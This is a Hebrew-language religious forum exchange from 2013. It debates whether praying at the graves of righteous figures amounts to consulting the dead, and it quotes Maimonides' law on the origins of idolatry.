ועם זאת, מערכת היחסים בין אדם לבין ההלכה, האמונה ועוד, אינה זהה לגמרי למערכת יחסים בין איש לבין אשתו.
וגם כאן, לא עלינו, אם אדם מגלה סימנים לכך שאהבת ליבו לוקחת אותו למחוזות לא רצויים, האם לא הגיע הזמן לעצור ולחשוב?
|
|
|
|
| נשלח ב-10/6/2013 16:40 |
|
| |
ירובל השתטחות על קברי צדיקים היא לא משהו חדש, א. אם זה לא חדש עדיין זה נקרא דורש אל המתים- יותר נכון מין המתים, ב אבל כאן זה לשלוח בקשה דרך שליח אל המת. שהוא יסדר את הענינים שם למעלה.
רמב"ם הלכות עבודת כוכבים פרק א
הלכה א בימי אנוש טעו בני האדם טעות גדול ונבערה עצת חכמי אותו הדור ואנוש עצמו מן הטועים היה, וזו היתה טעותם, אמרו הואיל והאלהים ברא כוכבים אלו וגלגלים להנהיג את העולם ונתנם במרום וחלק להם כבוד והם שמשים המשמשים לפניו ראויין הם לשבחם ולפארם ולחלוק להם כבוד, וזהו רצון האל ברוך הוא לגדל ולכבד מי שגדלו וכבדו, כמו שהמלך רוצה לכבד העומדים לפניו וזהו כבודו של מלך, כיון שעלה דבר זה על לבם התחילו לבנות לכוכבים היכלות ולהקריב להן קרבנות ולשבחם ולפארם בדברים ולהשתחוות למולם כדי להשיג רצון הבורא בדעתם הרעה, וזה היה עיקר עבודת כוכבים, וכך היו אומרים עובדיה היודעים עיקרה, לא שהן אומרים שאין שם אלוה אלא כוכב זה, הוא שירמיהו אומר מי לא ייראך מלך הגוים כי לך יאתה כי בכל חכמי הגוים ובכל מלכותם מאין כמוך ובאחת יבערו ויכסלו מוסר הבלים עץ הוא, כלומר הכל יודעים שאתה הוא לבדך אבל טעותם וכסילותם שמדמים שזה ההבל רצונך הוא.
 |
|
|
|
|
|